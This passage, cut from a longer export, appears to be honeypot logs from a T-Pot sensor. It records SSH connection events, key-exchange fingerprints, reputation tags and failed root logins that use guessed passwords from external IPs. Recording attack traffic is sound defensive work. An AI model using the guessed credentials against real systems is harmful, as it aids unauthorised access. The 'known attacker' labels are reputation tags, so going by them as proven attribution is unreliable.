"voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
34710	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:03:38.177959+03	2021-09-20 15:15:02.2635+03	{"_id": "nAYXA3wBvYTbRNuEHFed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 869204619618595, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33234, "dest_port": 22, "timestamp": "2021-09-20T12:03:38.177959Z", "@timestamp": "2021-09-20T12:03:38.177Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34711	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:37.919701+03	2021-09-20 15:15:02.264524+03	{"_id": "ngYXA3wBvYTbRNuEHVen", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33234, "timestamp": "2021-09-20T12:03:37.919701", "@timestamp": "2021-09-20T12:03:37.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34712	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:03:40.913634+03	2021-09-20 15:15:02.265511+03	{"_id": "pwYXA3wBvYTbRNuEJ1c5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f6ee8aa32e0d", "@version": "1", "timestamp": "2021-09-20T12:03:40.913634Z", "@timestamp": "2021-09-20T12:03:40.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34713	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:03:40.630077+03	2021-09-20 15:15:02.267521+03	{"_id": "qAYXA3wBvYTbRNuEJ1c5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:51846 (192.168.176.2:22) [session: f6ee8aa32e0d]", "session": "f6ee8aa32e0d", "@version": "1", "protocol": "ssh", "src_port": 51846, "dest_port": 22, "timestamp": "2021-09-20T12:03:40.630077Z", "@timestamp": "2021-09-20T12:03:40.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34714	81.71.14.9	109.199.241.180	Suricata	2021-09-20 15:03:40.911837+03	2021-09-20 15:15:02.26852+03	{"_id": "qwYXA3wBvYTbRNuEKFdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 929428651397815, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51846, "dest_port": 22, "timestamp": "2021-09-20T12:03:40.911837Z", "@timestamp": "2021-09-20T12:03:40.911Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34715	81.71.14.9	109.199.241.180	Fatt	2021-09-20 15:03:40.913037+03	2021-09-20 15:15:02.269521+03	{"_id": "swYXA3wBvYTbRNuEKVfB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51846, "dest_port": 22, "timestamp": "2021-09-20T12:03:40.913037", "@timestamp": "2021-09-20T12:03:40.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34716	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:03:41.930411+03	2021-09-20 15:15:02.27152+03	{"_id": "tAYXA3wBvYTbRNuEK1cj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7277792a7957", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:03:41.930411Z", "@timestamp": "2021-09-20T12:03:41.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	BY
34717	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:03:42.184536+03	2021-09-20 15:15:02.272549+03	{"_id": "twYXA3wBvYTbRNuEK1cj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/898989] failed", "session": "f30911e0da49", "@version": "1", "password": "898989", "username": "root", "timestamp": "2021-09-20T12:03:42.184536Z", "@timestamp": "2021-09-20T12:03:42.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34718	157.240.9.18	109.199.241.180	Suricata	2021-09-20 15:03:42.583712+03	2021-09-20 15:15:02.273549+03	{"_id": "vAYXA3wBvYTbRNuELFdA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:42.583712+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 913578074761248, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 45658, "timestamp": "2021-09-20T12:03:42.583712Z", "@timestamp": "2021-09-20T12:03:42.583Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
34719	176.60.208.43	109.199.241.180	Fatt	2021-09-20 15:03:41.985112+03	2021-09-20 15:15:02.275521+03	{"_id": "vgYXA3wBvYTbRNuELVdK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54482, "dest_port": 22, "timestamp": "2021-09-20T12:03:41.985112", "@timestamp": "2021-09-20T12:03:41.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	BY
34720	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:03:43.347585+03	2021-09-20 15:15:02.277521+03	{"_id": "wAYXA3wBvYTbRNuEL1cL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "7277792a7957", "@version": "1", "duration": 1.4174997806549072, "timestamp": "2021-09-20T12:03:43.347585Z", "@timestamp": "2021-09-20T12:03:43.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	BY
34721	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:40.633787+03	2021-09-20 15:15:02.278549+03	{"_id": "pgYXA3wBvYTbRNuEJVfZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51846, "timestamp": "2021-09-20T12:03:40.633787", "@timestamp": "2021-09-20T12:03:40.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34722	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:03:40.632818+03	2021-09-20 15:15:02.279553+03	{"_id": "qQYXA3wBvYTbRNuEJ1c5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f6ee8aa32e0d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:03:40.632818Z", "@timestamp": "2021-09-20T12:03:40.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34723	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:03:40.907247+03	2021-09-20 15:15:02.280548+03	{"_id": "qgYXA3wBvYTbRNuEJ1c5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/880131] failed", "session": "f30911e0da49", "@version": "1", "password": "880131", "username": "root", "timestamp": "2021-09-20T12:03:40.907247Z", "@timestamp": "2021-09-20T12:03:40.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34724	81.71.14.9	109.199.241.180	Suricata	2021-09-20 15:03:40.913037+03	2021-09-20 15:15:02.282548+03	{"_id": "rAYXA3wBvYTbRNuEKFdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:40.348855+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 929428651397815, "payload": "AAADzAYUontVQgMCI10KA9l/aHXxyAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51846, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:40.913037Z", "@timestamp": "2021-09-20T12:03:40.913Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 